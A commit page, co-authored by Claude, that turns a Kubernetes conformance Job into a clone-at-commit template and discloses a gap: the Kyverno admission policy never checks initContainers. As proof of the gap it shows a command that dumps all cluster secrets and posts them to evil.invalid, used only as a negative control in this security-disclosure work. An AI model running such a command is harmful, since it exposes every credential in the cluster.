feat(conformance): the in-cluster Job can now run a named commit and get its results out
`conformance/incluster/chainsaw-job.yaml` was a skeleton: `workspace` was an empty
`emptyDir` with nothing to populate it, so the Job could never have run the suite at
all. Closes docs/plans/l2-l3-conformance-ci-wiring.md §3 items 2 and 3.
The whole shape is dictated by a fail-closed Enforce policy
(platform/kyverno/admission/conformance-trigger-job-shape.yaml) that admits only
`workspace` and `results` as volume names. So:
* the read-only Gitea credential arrives as env from `secretKeyRef` on Secret
`conformance-git-readonly` -- by NAME only, no literal in the tree -- and reaches
`git` via an inline credential.helper that reads the environment, so the token is
never in argv and never on disk;
* `$TMPDIR` and `$HOME` are directories ON the `workspace` emptyDir, which keeps
`readOnlyRootFilesystem: true` without a third volume and without subPath mounts
(a kubelet-created subPath dir is root-owned 0755 and unwritable by the runner);
* `results` cannot be mounted at `conformance/_artifacts` -- that path is inside the
clone target and `git clone` refuses a non-empty target -- hence the new
`CONF_ARTIFACTS` override, honoured only when set.
The init container shallow-clones, fetches the exact commit if the shallow tip lacks
it, detaches onto it, and ASSERTS `HEAD` equals the requested SHA. The SHA must match
^[0-9a-f]{40}$, so an unrendered placeholder is a hard failure rather than a silent run
of whatever the branch tip was.
Results leave over stdout because the trigger identity has no pods/exec and admission
pins `command` to exactly ["./run.sh"], so nothing can wrap the suite. `run.sh` emits
them on an EXIT trap -- a failed run still ships its red JUnit -- between markers
carrying bytes, base64 line count and sha256 TWICE:
=== ARTIFACTS-TGZ-BASE64 BEGIN v1 rc=.. bytes=.. lines=.. sha256=.. ===
`kubectl logs` is lossy and base64 decodes a truncated stream to plausible garbage, so
a collector that makes the five documented checks cannot mistake a partial log for a
complete artifact set. Verified locally: full decode round-trips; head-truncation,
tail-truncation, a dropped interior line and one corrupted character are each detected;
exit codes 0, an explicit 3 and a `set -e` abort all survive the trap with a matching
`rc=` in the envelope.
Admission proven with the pinned CLI rather than assumed -- `kyverno apply` on the
rendered template gives `pass: 3, fail: 0`, and negative controls on the SAME template
(a third volume; `command` wrapped in `/bin/sh -c`) each fail the expected rule. The
shape is now a `real-template` fixture so drift out of admission fails `make -C ci l0`.
FINDING, NOT FIXED HERE: that policy never reads `initContainers`. Measured -- the same
rendered template with only the init container's args replaced by
`kubectl get secrets -A | curl -X POST ... http://evil.invalid/` is ADMITTED (pass 3,
fail 0). The escalation the policy exists to stop is still reachable one field over, and
was before this Job had an init container. A security boundary changes in its own
reviewed PR, so it is documented in the manifest header and DECISIONS-LOG with the
recommended 4th rule, not patched in beside the Job that must satisfy it.
UNVERIFIED: nothing here has executed. The `conformance-runner` image does not exist
(plan §3 item 1) and Secret `conformance-git-readonly` does not exist (item 6), so the
clone, the credential helper and the log transport are unexercised against a cluster.
`ci/conformance.sh` is untouched -- CI behaviour is unchanged by this branch.
Gate (toolbox, DEV_KUBECONFIG=/dev/null + .git bind-mount shim): lint/l0/render-golden/l1
green; spec-immutability, gitea-settings and conformance SKIPPED; MERGE GATE
UNDETERMINED, rc 3. Nothing FAILED.
Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
This commit is contained in:
jakman85andClaude Opus 5 committed
1 parent
20ea70d221
commit
d3d5f6d8d2
7 files changed
+632
-55
No files matched your search
@@ -5109,3 +5109,132 @@ next L2/L3 piece on top of unmerged branches would create a rebase tangle for no
|
||||
cannot land any faster. The next piece is specified and ready to start once these are merged:
|
||||
`docs/plans/l2-l3-conformance-ci-wiring.md` §3, with §4's credential model now decided and its
|
||||
boundary landed in #13.
|
||||
|
||||
---
|
||||
|
||||
## 2026-09-29 — The conformance Job can now run a specific commit and get its results out. **And the policy meant to bound it ignores `initContainers`.**
|
||||
|
||||
Branch `feat/conformance-job-template`. Closes `docs/plans/l2-l3-conformance-ci-wiring.md`
|
||||
§3 items **2** (repo at the commit under test) and **3** (results collection with no exec
|
||||
channel). `chainsaw-job.yaml` was a skeleton whose `workspace` was an empty `emptyDir` with
|
||||
nothing to fill it; it is now a renderable run template.
|
||||
|
||||
### The binding constraint, and how it was met
|
||||
|
||||
`platform/kyverno/admission/conformance-trigger-job-shape.yaml` (Enforce, `failurePolicy:
|
||||
Fail`) admits **only `workspace` and `results`** as volume names. So the git credential
|
||||
could not be a Secret volume and the init container could not have a scratch volume:
|
||||
|
||||
- **Credential:** env vars from `secretKeyRef` on Secret `conformance-git-readonly`
|
||||
(`username`, `token`) — an env var is not a volume. By **name only**; no literal in the
|
||||
tree. The token reaches `git` through an inline `credential.helper` that reads the
|
||||
environment, so it never appears in argv (where `ps` and the Pod spec would show it) and
|
||||
is never written to disk.
|
||||
- **Writable scratch under `readOnlyRootFilesystem: true`:** `$TMPDIR=/workspace/tmp` and
|
||||
`$HOME=/workspace/home`, i.e. directories **on** the `workspace` emptyDir. Not `subPath`
|
||||
mounts — a kubelet-created subPath directory is root-owned 0755 and the non-root runner
|
||||
could not write it.
|
||||
- **`results` could not be mounted at `conformance/_artifacts`:** that path sits inside the
|
||||
clone target, and a directory mounted into it makes the target non-empty, so `git clone`
|
||||
refuses. Hence `CONF_ARTIFACTS=/results` (new, honoured only when set).
|
||||
|
||||
**Admission proven, not assumed** — rendered template through the pinned CLI (kyverno
|
||||
v1.19.0, in the toolbox):
|
||||
|
||||
kyverno apply platform/kyverno/admission/conformance-trigger-job-shape.yaml \
|
||||
--resource <rendered job> --userinfo .../user-info.yaml
|
||||
Applying 3 policy rule(s) to 1 resource(s)...
|
||||
pass: 3, fail: 0, warn: 0, error: 0, skip: 0
|
||||
|
||||
with negative controls on the **same** rendered template to show the rules actually bite:
|
||||
adding a third volume → `trigger-volumes-must-be-workspace-or-results` fails; wrapping
|
||||
`command` in `/bin/sh -c` → `trigger-may-create-only-the-committed-conformance-run` fails at
|
||||
`/spec/template/spec/containers/0/command/`. That shape is now a fixture
|
||||
(`real-template` in `platform/kyverno/tests/conformance-trigger/resources.yaml`), so a
|
||||
template that drifts out of admission fails `make -C ci l0` instead of failing at 2am.
|
||||
|
||||
### ⚠ THE FINDING: the admission boundary does not look at `initContainers`
|
||||
|
||||
Measured, same CLI, same rendered template — **only** the init container's `args` replaced
|
||||
with `kubectl get secrets -A -o yaml | curl -X POST --data-binary @- http://evil.invalid/`,
|
||||
`containers[0]` left fully compliant:
|
||||
|
||||
pass: 3, fail: 0, warn: 0, error: 0, skip: 0 # ADMITTED
|
||||
|
||||
All three rules read `spec.template.spec.containers` (rule 1's pattern, rule 3's
|
||||
`containers[0].args`) or `volumes` (rule 2). **`initContainers` is never examined.** So the
|
||||
precise escalation the policy exists to stop — the privileged `conformance-runner` SA
|
||||
running an arbitrary command because Kubernetes places no `use` check on
|
||||
`serviceAccountName` — is still reachable, one field over. This predates today's work: the
|
||||
gap was there when the policy shipped in PR #13, and a Job with no init container at all
|
||||
could already have carried one.
|
||||
|
||||
**Not fixed here, deliberately.** A security boundary changes in its own reviewed PR, not
|
||||
smuggled in beside the Job that has to satisfy it. Recommended follow-up, in order:
|
||||
|
||||
1. Bake the clone script into the runner image at a fixed path, drop the init container's
|
||||
`args`, and add a 4th rule pinning `initContainers` to one container on the same
|
||||
digest-pinned image with `command: ["/usr/local/bin/conformance-clone"]` and no args.
|
||||
Then no caller-supplied code runs in an init container at all.
|
||||
2. Weaker fallback: deny any `initContainers` entry whose image is not the pinned runner
|
||||
image.
|
||||
|
||||
Also worth knowing: **`kyverno apply` evaluates these rules with or without `--userinfo`** —
|
||||
the extra-volume control fails either way. A CLI pass is evidence about the *patterns*, not
|
||||
about the `subjects` filter. The claim in `kyverno-test.yaml`'s header that userinfo is what
|
||||
makes the cases non-trivial holds for `kyverno test`, not for `kyverno apply`.
|
||||
|
||||
### Results out of the Job with no exec channel
|
||||
|
||||
The trigger identity has no `pods/exec` and cannot `kubectl cp`, and admission pins
|
||||
`command` to exactly `["./run.sh"]` — so nothing can wrap the suite to package artifacts
|
||||
afterwards. `run.sh` therefore does it itself, on an **EXIT trap** (a failed run still ships
|
||||
its red JUnit — that is the evidence the gate most needs), armed only by
|
||||
`CONF_EMIT_ARTIFACTS_TGZ=1`:
|
||||
|
||||
=== ARTIFACTS-TGZ-BASE64 BEGIN v1 rc=<rc> bytes=<n> lines=<l> sha256=<hex> ===
|
||||
<base64 of the tgz, wrapped at 76 columns>
|
||||
=== ARTIFACTS-TGZ-BASE64 END v1 rc=<rc> bytes=<n> lines=<l> sha256=<hex> ===
|
||||
|
||||
`kubectl logs` is a lossy channel (`--tail`, a rotated CRI log, a dropped watch), and base64
|
||||
decodes a truncated stream to plausible garbage without complaint. So size, base64 line
|
||||
count and digest appear in **both** markers and the collector owes five checks, each
|
||||
documented above the function. **Verified locally, not asserted:** full decode round-trips
|
||||
to a valid tar; tail-truncation and head-truncation fail check 1; a dropped interior line
|
||||
fails check 3; one corrupted character fails check 5. Exit-code preservation through the
|
||||
trap was tested for 0, an explicit `exit 3`, and a `set -e` abort — the envelope's `rc=`
|
||||
matched the process rc in all three.
|
||||
|
||||
### Gate
|
||||
|
||||
Toolbox only (`DEV_KUBECONFIG=/dev/null` + an `ENGINE` shim bind-mounting the main
|
||||
checkout's `.git`, per CLAUDE.md §3):
|
||||
|
||||
lint: green l0: green render-golden: green l1: green
|
||||
spec-immutability: SKIPPED (sibling spec repo absent)
|
||||
gitea-settings: SKIPPED (no SETTINGS_API_TOKEN locally)
|
||||
conformance L2/L3: SKIPPED (CLUSTER_AVAILABLE unset)
|
||||
MERGE GATE: UNDETERMINED — rc 3
|
||||
|
||||
Nothing FAILED. rc 3 is the expected local outcome and `gate.yml` tolerates it.
|
||||
|
||||
### UNVERIFIED — read before believing any of this runs
|
||||
|
||||
- **Nothing here has ever executed.** The `conformance-runner` image does not exist (plan §3
|
||||
item 1), so the Job cannot be submitted, and the init container's clone/fetch/assert
|
||||
sequence, the credential helper and the envelope-over-`kubectl-logs` path are all
|
||||
**unexercised against a cluster**. The envelope itself is verified; its transport is not.
|
||||
- Secret `conformance-git-readonly` does not exist (plan §3 item 6, operator).
|
||||
- `uid 65532` is asserted by the Job's `runAsUser`/`fsGroup`; the image that must provide it
|
||||
has not been built. If the Containerfile picks a different uid, the Job will not start.
|
||||
- Whether Gitea's `uploadpack` accepts `fetch origin <sha>` for a non-tip commit was not
|
||||
tested; the shallow-clone-then-fetch fallback assumes it does. If it does not, the
|
||||
`HEAD == SHA` assertion turns that into a loud failure rather than a wrong-tree run.
|
||||
- `ci/conformance.sh` still runs the suite **locally** and is untouched (plan §3 item 4).
|
||||
This branch changes nothing about what CI does today.
|
||||
|
||||
### PR
|
||||
|
||||
Opened against `main`, **not merged**. Its CI is **expected to FAIL on `approval-policy`**:
|
||||
`conformance/**` is security-relevant and needs a human approval. That is the control
|
||||
working; it was not worked around.
|
||||
@@ -25,20 +25,41 @@ credentials — the Job's own scoped ServiceAccount does (R-SEC-02).
|
||||
commented with the test/requirement that needs it — only as the matching fault-injection
|
||||
test lands. This is a **privileged test identity**: never reused by workloads, its own
|
||||
audit item.
|
||||
- `chainsaw-job.yaml` — the Job skeleton. Single entrypoint `./run.sh`; CI sets `args` to
|
||||
`--requirements <touched IDs>` (merge gate) or `--layer all --strict-coverage` (phase
|
||||
exit). Image pinned to `versions.env` `CHAINSAW_IMAGE`.
|
||||
- `chainsaw-job.yaml` — the **run template** (not reconciled; the trigger renders it per
|
||||
run). Single entrypoint `./run.sh`; a git-clone init container delivers the suite at the
|
||||
commit under test; artifacts leave over stdout. Its header is the authority on the
|
||||
substitution tokens, the admission constraints it satisfies, and **an open security gap
|
||||
in the admission policy that it documents and does not exploit** — read it before
|
||||
editing either file.
|
||||
|
||||
## Flow
|
||||
1. CI (Gitea Actions, delivered in T-6.1b) creates a Job from `chainsaw-job.yaml` (via a
|
||||
trigger with narrow rights: create Job + read its logs/status — *not* a broad
|
||||
kubeconfig).
|
||||
2. The Job clones/loads the impl repo at the commit under test into `/workspace` and runs
|
||||
`./run.sh` under `conformance-runner`.
|
||||
3. `run.sh` runs Chainsaw over the selected tests and writes `report.junit.xml` +
|
||||
`coverage/` to the results volume (`/workspace/conformance/_artifacts`).
|
||||
4. CI collects those artifacts (results volume or the terminating log stream, which echoes
|
||||
their paths) and enforces the merge / phase-exit gate on them.
|
||||
1. CI (Gitea Actions) renders `chainsaw-job.yaml` — two `@@TOKEN@@` substitutions, the
|
||||
runner image digest and the commit SHA — replaces `args` with the invocation shape, and
|
||||
`create`s the Job under the narrow `conformance-trigger` identity (create/get jobs, get
|
||||
pods + pods/log — *not* a broad kubeconfig, and deliberately **no `pods/exec`**).
|
||||
2. Admission (`platform/kyverno/admission/conformance-trigger-job-shape.yaml`, Enforce +
|
||||
fail-closed) admits only the committed shape. That policy, not the RBAC, is the boundary.
|
||||
3. The **init container** shallow-clones the repo into `/workspace/src`, fetches the commit
|
||||
if the shallow tip does not already contain it, detaches onto it, and **asserts `HEAD`
|
||||
equals the requested SHA** — the suite runs at the commit under test or not at all. The
|
||||
read-only Gitea credential reaches `git` as env vars from `secretKeyRef` (secret
|
||||
`conformance-git-readonly`, keys `username`/`token`), never as a volume: admission allows
|
||||
no volume but `workspace` and `results`.
|
||||
4. The runner executes `./run.sh` under `conformance-runner`, writing `report.junit.xml` +
|
||||
`coverage/` to the `results` volume at `/results` (`CONF_ARTIFACTS`).
|
||||
5. On exit — green, red or aborted — `run.sh` prints a delimited base64 tar of that tree to
|
||||
stdout, carrying `bytes`, `lines` and `sha256` in **both** the BEGIN and END markers. CI
|
||||
decodes it from `kubectl logs` and must make all five completeness checks listed above
|
||||
`conf_emit_artifacts_tgz()` in `../run.sh`; a partial log then fails collection instead
|
||||
of decoding to plausible garbage.
|
||||
|
||||
## Operator prerequisites (out of GitOps — neither exists yet)
|
||||
- Secret `conformance-git-readonly` in namespace `conformance`, keys `username` and
|
||||
`token`: a **read-only** Gitea token for this repository. Never a write token or a
|
||||
push-capable deploy key.
|
||||
- The `conformance-runner` image built and pushed (plan §5 step 1); its digest is what the
|
||||
trigger substitutes. The image must provide bash, git, python3, chainsaw and kubectl, and
|
||||
a **uid 65532** non-root user, which the Job's `runAsUser`/`fsGroup` pin.
|
||||
|
||||
## Phase 0
|
||||
No cluster exists, so nothing here is applied yet. These manifests are reconciled by Flux
|
||||
|
||||
@@ -1,23 +1,121 @@
|
||||
# =============================================================================
|
||||
# In-cluster Chainsaw conformance Job — SKELETON (ADR-0011; docs/14)
|
||||
# In-cluster Chainsaw conformance Job — the RUN TEMPLATE (ADR-0011; docs/14)
|
||||
# Serves docs/plans/l2-l3-conformance-ci-wiring.md §3 items 2 and 3.
|
||||
#
|
||||
# CI (Gitea Actions, T-6.1b) TRIGGERS this Job and waits for it; CI holds NO
|
||||
# cluster credentials. The Job runs L1/L2/L3 under the scoped `conformance-runner`
|
||||
# ServiceAccount (rbac.yaml), writes JUnit + coverage to a results location that
|
||||
# CI collects, and enforces the merge / phase-exit gate on the outcome.
|
||||
# NOT RECONCILED BY FLUX. `kustomization.yaml` deliberately omits this file: it is a
|
||||
# TEMPLATE the CI trigger renders and submits once per run. Flux reconciling it would
|
||||
# create a permanent Job object and fight the trigger for ownership.
|
||||
#
|
||||
# Two invocation shapes (CI sets args):
|
||||
# * MERGE GATE: ./run.sh --requirements <touched R-IDs> (subset)
|
||||
# * PHASE EXIT: ./run.sh --layer all (full suite)
|
||||
# CI (Gitea Actions) creates this Job and waits for it. CI holds NO broad kubeconfig —
|
||||
# only the narrow `conformance-trigger` identity (create/get jobs, get pods + pods/log).
|
||||
# In particular it has NO `pods/exec` and cannot `kubectl cp`, which is why results leave
|
||||
# the Job over STDOUT (see "RESULTS TRANSPORT" below) and not over an exec channel.
|
||||
#
|
||||
# Results artifact mechanism (delegated to WS-TEST by docs/14 open items):
|
||||
# Chosen = a shared results emptyDir + a terminating log stream, with an
|
||||
# OPTIONAL results PVC for durability across CI collection. For Phase 0 there is
|
||||
# no cluster; this manifest is reconciled by Flux from Phase 1+ and exercised
|
||||
# once L2/L3 can run. CI collects `report.junit.xml` + `coverage/` from the
|
||||
# results volume (or scrapes the pod log, which echoes their paths).
|
||||
# -----------------------------------------------------------------------------
|
||||
# THE ADMISSION BOUNDARY THIS MANIFEST MUST SATISFY
|
||||
# -----------------------------------------------------------------------------
|
||||
# platform/kyverno/admission/conformance-trigger-job-shape.yaml is Enforce +
|
||||
# failurePolicy: Fail, and it governs every Job `conformance-trigger` creates. It admits
|
||||
# ONLY: exactly one container on a digest-pinned conformance-runner image,
|
||||
# serviceAccountName conformance-runner, command ["./run.sh"], args drawn from
|
||||
# --layer/--requirements/--include-scope/--strict-coverage plus plain value tokens, no
|
||||
# host namespaces, non-root with privilege escalation off, and — the constraint that
|
||||
# shapes everything below — NO VOLUMES BUT `workspace` AND `results`.
|
||||
#
|
||||
# NOT applied in Phase 0 (no cluster). Image tag pinned to versions.env CHAINSAW_IMAGE.
|
||||
# So the git credential CANNOT be a projected/secret volume, and the init container
|
||||
# cannot have a scratch volume of its own. Both are solved inside the two allowed names:
|
||||
# * the credential arrives as env vars via secretKeyRef (an env var is not a volume),
|
||||
# BY SECRET NAME ONLY — no token literal ever appears in this file;
|
||||
# * `$TMPDIR` and `$HOME` are pointed at directories on the `workspace` emptyDir, so
|
||||
# readOnlyRootFilesystem stays true without a third volume and without subPath
|
||||
# mounts (a kubelet-created subPath dir is root-owned 0755 and would not be writable
|
||||
# by the non-root runner).
|
||||
#
|
||||
# Verify before changing anything here:
|
||||
# kyverno apply platform/kyverno/admission/conformance-trigger-job-shape.yaml \
|
||||
# --resource <rendered job> \
|
||||
# --userinfo platform/kyverno/tests/conformance-trigger/user-info.yaml
|
||||
# and see platform/kyverno/tests/conformance-trigger/ — the `real-template` case in
|
||||
# resources.yaml is this shape, so `make -C ci l0` fails if it drifts out of admission.
|
||||
#
|
||||
# -----------------------------------------------------------------------------
|
||||
# !! OPEN SECURITY GAP IN THAT POLICY — initContainers ARE NOT CONSTRAINED !!
|
||||
# -----------------------------------------------------------------------------
|
||||
# MEASURED 2026-09-29 with the pinned kyverno CLI v1.19.0. Take this rendered template,
|
||||
# replace ONLY the init container's `args` with
|
||||
# kubectl get secrets -A -o yaml | curl -X POST --data-binary @- http://evil.invalid/
|
||||
# and leave `containers[0]` untouched and compliant. Result:
|
||||
# Applying 3 policy rule(s) to 1 resource(s)...
|
||||
# pass: 3, fail: 0, warn: 0, error: 0, skip: 0
|
||||
# i.e. ADMITTED. All three rules read only `spec.template.spec.containers` (rule 1's
|
||||
# pattern, rule 3's `containers[0].args`) or `volumes` (rule 2). `initContainers` is never
|
||||
# examined, so the exact escalation the policy exists to stop — the privileged
|
||||
# conformance-runner SA executing an arbitrary command — is still reachable, one field
|
||||
# over. This template's OWN init container does not exploit that; the gap is the policy's,
|
||||
# and it existed before this file had an init container at all.
|
||||
#
|
||||
# NOT FIXED HERE ON PURPOSE: the policy is a security boundary and a change to it belongs
|
||||
# in its own reviewed PR, not smuggled in alongside the Job that has to satisfy it.
|
||||
# FOLLOW-UP, in order of preference:
|
||||
# 1. Bake this clone script into the runner image at a fixed path, drop `args` here, and
|
||||
# add a 4th rule pinning `initContainers` to one container on the same digest-pinned
|
||||
# image with `command: ["/usr/local/bin/conformance-clone"]` and NO args. Then an
|
||||
# init container carries no caller-supplied code at all and the rule is one pattern.
|
||||
# 2. Failing that, a rule denying any `initContainers` entry whose image is not the
|
||||
# pinned runner image — weaker (the script stays caller-supplied) but it at least
|
||||
# stops an arbitrary image running as conformance-runner.
|
||||
# Note also that `kyverno apply` evaluates these rules whether or not `--userinfo` is
|
||||
# supplied, so a CLI pass is evidence about the PATTERNS, not about the subjects filter.
|
||||
#
|
||||
# -----------------------------------------------------------------------------
|
||||
# WHAT THE TRIGGER SUBSTITUTES — `@@NAME@@` tokens, NOT `${NAME}`
|
||||
# -----------------------------------------------------------------------------
|
||||
# The placeholder syntax is deliberately NOT shell syntax. The init container below is a
|
||||
# bash script full of legitimate `${...}` references; running the template through
|
||||
# `envsubst` would clobber every one of them. `@@NAME@@` cannot collide, and a surviving
|
||||
# `@@` in a rendered manifest is trivially greppable as "the trigger forgot to render
|
||||
# this". Render with a two-token sed, nothing cleverer:
|
||||
#
|
||||
# sed -e "s|@@CONFORMANCE_RUNNER_IMAGE_DIGEST@@|${digest}|" \
|
||||
# -e "s|@@CONFORMANCE_GIT_SHA@@|${sha}|" conformance/incluster/chainsaw-job.yaml
|
||||
#
|
||||
# @@CONFORMANCE_RUNNER_IMAGE_DIGEST@@ the 64-hex digest of the pinned runner image.
|
||||
# Only the DIGEST is substituted — the registry path and the `@sha256:` pinning
|
||||
# are committed literals, so the substitution cannot repoint the image at another
|
||||
# repository, and the template still satisfies the policy's image pattern before
|
||||
# rendering. An unsubstituted digest fails as ImagePullBackOff, loudly.
|
||||
# @@CONFORMANCE_GIT_SHA@@ the 40-hex commit under test. The init container
|
||||
# REFUSES to run unless it matches ^[0-9a-f]{40}$, so an unsubstituted placeholder
|
||||
# or an injected value is a hard failure, never a run of the wrong tree.
|
||||
#
|
||||
# `args` is NOT a placeholder: it is a real list carrying the phase-exit default, and the
|
||||
# trigger REPLACES it wholesale per invocation shape —
|
||||
# MERGE GATE: ["--layer", "l2,l3", "--include-scope", "whole-repo",
|
||||
# "--requirements", "<touched R-IDs>"]
|
||||
# PHASE EXIT: ["--layer", "all", "--strict-coverage"]
|
||||
# Keeping it a committed list (not a substituted scalar) is what lets this file be handed
|
||||
# to `kyverno apply` as-is.
|
||||
#
|
||||
# -----------------------------------------------------------------------------
|
||||
# RESULTS TRANSPORT — base64 tar on STDOUT, truncation-detectable
|
||||
# -----------------------------------------------------------------------------
|
||||
# `command` is pinned to ["./run.sh"] by admission, so nothing can be appended after the
|
||||
# suite to package artifacts. run.sh therefore does it itself, on an EXIT trap, when
|
||||
# CONF_EMIT_ARTIFACTS_TGZ=1 (set below and nowhere else). It prints:
|
||||
#
|
||||
# === ARTIFACTS-TGZ-BASE64 BEGIN v1 rc=<rc> bytes=<n> lines=<l> sha256=<hex> ===
|
||||
# <base64 of the tgz, wrapped at 76 columns>
|
||||
# === ARTIFACTS-TGZ-BASE64 END v1 rc=<rc> bytes=<n> lines=<l> sha256=<hex> ===
|
||||
#
|
||||
# The BEGIN and END headers are byte-identical and both carry the size, the base64 line
|
||||
# count and the sha256. A collector that checks all four (one BEGIN, one END, headers
|
||||
# equal, line count and digest match) cannot mistake a truncated `kubectl logs` for a
|
||||
# complete artifact set — which a bare blob would, because base64 decodes a truncated
|
||||
# stream to plausible garbage without complaint. See the block comment above
|
||||
# conf_emit_artifacts_tgz() in conformance/run.sh for the collector's exact obligations.
|
||||
#
|
||||
# `activeDeadlineSeconds` is deliberately shorter than the log-retention window: the
|
||||
# transport is the pod's log, so the Job must finish while that log still exists.
|
||||
# =============================================================================
|
||||
apiVersion: batch/v1
|
||||
kind: Job
|
||||
@@ -28,7 +126,10 @@ metadata:
|
||||
app.kubernetes.io/part-of: conformance
|
||||
spec:
|
||||
backoffLimit: 0 # deterministic: a failed conformance run is a failure, no retry
|
||||
# A retry would also re-emit the artifact envelope, giving the collector two BEGIN
|
||||
# markers in one log. backoffLimit 0 keeps "exactly one envelope per Job" true.
|
||||
ttlSecondsAfterFinished: 3600
|
||||
activeDeadlineSeconds: 5400 # L3 fault injection is slow; a hung run must not hold the gate
|
||||
template:
|
||||
metadata:
|
||||
labels:
|
||||
@@ -37,38 +138,159 @@ spec:
|
||||
serviceAccountName: conformance-runner # scoped test identity (rbac.yaml)
|
||||
restartPolicy: Never
|
||||
securityContext:
|
||||
# runAsUser is explicit, not inherited from the image's USER: `runAsNonRoot: true`
|
||||
# alone only *rejects* a root image, it does not choose a uid, and the runner image
|
||||
# is built by a separate task (plan §5 step 1). 65532 is the conventional
|
||||
# distroless `nonroot` uid; the Containerfile MUST create it. fsGroup makes both
|
||||
# emptyDirs group-writable for that uid.
|
||||
runAsNonRoot: true
|
||||
runAsUser: 65532
|
||||
runAsGroup: 65532
|
||||
fsGroup: 65532
|
||||
seccompProfile: { type: RuntimeDefault }
|
||||
containers:
|
||||
- name: chainsaw
|
||||
# PIN to versions.env CHAINSAW_IMAGE (ghcr.io/kyverno/chainsaw:v0.2.12).
|
||||
image: ghcr.io/kyverno/chainsaw:v0.2.12
|
||||
workingDir: /workspace/conformance
|
||||
# The suite repo is delivered into /workspace (git clone init-container or
|
||||
# a Flux-populated volume). run.sh is the single entrypoint (identical to local).
|
||||
command: ["./run.sh"]
|
||||
# CI overrides args per invocation shape:
|
||||
# ["--requirements", "R-NET-01,R-NET-06"] (merge gate) OR
|
||||
# ["--layer", "all", "--strict-coverage"] (phase exit)
|
||||
args: ["--layer", "all", "--strict-coverage"]
|
||||
initContainers:
|
||||
# ---------------------------------------------------------------------
|
||||
# Deliver the suite AT THE COMMIT UNDER TEST into the shared workspace.
|
||||
#
|
||||
# The credential is a READ-ONLY Gitea token, referenced by secret name only. It
|
||||
# reaches git through an inline credential helper that reads the ENVIRONMENT, so
|
||||
# the token never appears in argv (where `ps` and the Pod spec would show it) and
|
||||
# is never written to disk.
|
||||
#
|
||||
# `--depth 1` clones the default branch; the commit under test is usually its tip
|
||||
# but must not be ASSUMED to be (the branch can advance between trigger and run,
|
||||
# and a PR head is not the default branch at all). So: clone shallow, and if the
|
||||
# SHA is not already present, fetch that one commit, then detach onto it and
|
||||
# ASSERT HEAD equals it. The suite runs at the commit under test or not at all.
|
||||
# ---------------------------------------------------------------------
|
||||
- name: clone-suite-at-commit
|
||||
image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:@@CONFORMANCE_RUNNER_IMAGE_DIGEST@@
|
||||
command: ["/bin/bash", "-c"]
|
||||
args:
|
||||
- |
|
||||
set -euo pipefail
|
||||
|
||||
# A bad SHA must never degrade into "ran whatever the branch tip was".
|
||||
if ! printf '%s' "${CONFORMANCE_GIT_SHA}" | grep -Eq '^[0-9a-f]{40}$'; then
|
||||
echo "FATAL: CONFORMANCE_GIT_SHA is not a 40-hex commit id." >&2
|
||||
echo " The CI trigger did not substitute it, or substituted junk." >&2
|
||||
exit 1
|
||||
fi
|
||||
|
||||
mkdir -p "${TMPDIR}" "${HOME}"
|
||||
|
||||
# git's shell credential helper: invoked as `sh -c '<value> get'`, so it
|
||||
# reads $1 and answers from the environment only.
|
||||
CRED='!f() { if [ "$1" = get ]; then printf "username=%s\npassword=%s\n" "$GITEA_USERNAME" "$GITEA_TOKEN"; fi; }; f'
|
||||
|
||||
echo "==> shallow clone ${CONFORMANCE_REPO_URL}"
|
||||
git -c credential.helper="${CRED}" \
|
||||
clone --depth 1 --no-tags --single-branch \
|
||||
"${CONFORMANCE_REPO_URL}" "${CONFORMANCE_SRC}"
|
||||
|
||||
if ! git -C "${CONFORMANCE_SRC}" cat-file -e "${CONFORMANCE_GIT_SHA}^{commit}" 2>/dev/null; then
|
||||
echo "==> ${CONFORMANCE_GIT_SHA} is not in the shallow tip; fetching that commit"
|
||||
git -C "${CONFORMANCE_SRC}" -c credential.helper="${CRED}" \
|
||||
fetch --depth 1 --no-tags origin "${CONFORMANCE_GIT_SHA}"
|
||||
fi
|
||||
|
||||
git -C "${CONFORMANCE_SRC}" checkout --detach "${CONFORMANCE_GIT_SHA}"
|
||||
|
||||
head="$(git -C "${CONFORMANCE_SRC}" rev-parse HEAD)"
|
||||
if [ "${head}" != "${CONFORMANCE_GIT_SHA}" ]; then
|
||||
echo "FATAL: checked out ${head}, expected ${CONFORMANCE_GIT_SHA}." >&2
|
||||
exit 1
|
||||
fi
|
||||
|
||||
test -x "${CONFORMANCE_SRC}/conformance/run.sh" \
|
||||
|| { echo "FATAL: no executable conformance/run.sh at ${head}." >&2; exit 1; }
|
||||
|
||||
echo "==> suite ready at ${head}"
|
||||
env:
|
||||
- name: CONF_ROOT
|
||||
value: /workspace/conformance
|
||||
# The repository under test is a committed literal, not a substitution: a
|
||||
# template that lets the trigger choose the clone URL lets it choose the code.
|
||||
- name: CONFORMANCE_REPO_URL
|
||||
value: https://gitea.home.keithjackson.dev/Home-Network/home-network-k3s-impl.git
|
||||
- name: CONFORMANCE_SRC
|
||||
value: /workspace/src
|
||||
- name: CONFORMANCE_GIT_SHA
|
||||
value: "@@CONFORMANCE_GIT_SHA@@"
|
||||
# BY SECRET NAME ONLY. Provisioned out-of-band by the operator (plan §3.6) as a
|
||||
# READ-ONLY Gitea token with read access to this one repository — never a write
|
||||
# token, never a deploy key with push. Keys: `username`, `token`.
|
||||
# An env var is not a volume, which is how this coexists with the admission
|
||||
# policy's workspace/results-only rule.
|
||||
- name: GITEA_USERNAME
|
||||
valueFrom:
|
||||
secretKeyRef: { name: conformance-git-readonly, key: username }
|
||||
- name: GITEA_TOKEN
|
||||
valueFrom:
|
||||
secretKeyRef: { name: conformance-git-readonly, key: token }
|
||||
# Writable scratch + HOME on the workspace emptyDir, so the root filesystem
|
||||
# stays read-only and no third volume is needed.
|
||||
- name: TMPDIR
|
||||
value: /workspace/tmp
|
||||
- name: HOME
|
||||
value: /workspace/home
|
||||
volumeMounts:
|
||||
- { name: workspace, mountPath: /workspace }
|
||||
- { name: results, mountPath: /workspace/conformance/_artifacts }
|
||||
securityContext:
|
||||
allowPrivilegeEscalation: false
|
||||
readOnlyRootFilesystem: true
|
||||
capabilities: { drop: ["ALL"] }
|
||||
runAsNonRoot: true
|
||||
resources:
|
||||
requests: { cpu: 100m, memory: 128Mi }
|
||||
limits: { cpu: "1", memory: 512Mi }
|
||||
containers:
|
||||
- name: chainsaw
|
||||
# Digest-pinned under the conformance repository path — the admission policy
|
||||
# rejects a mutable tag. Built from conformance/versions.env CHAINSAW_VERSION
|
||||
# (+ kubectl, git, python3, bash); see plan §5 step 1.
|
||||
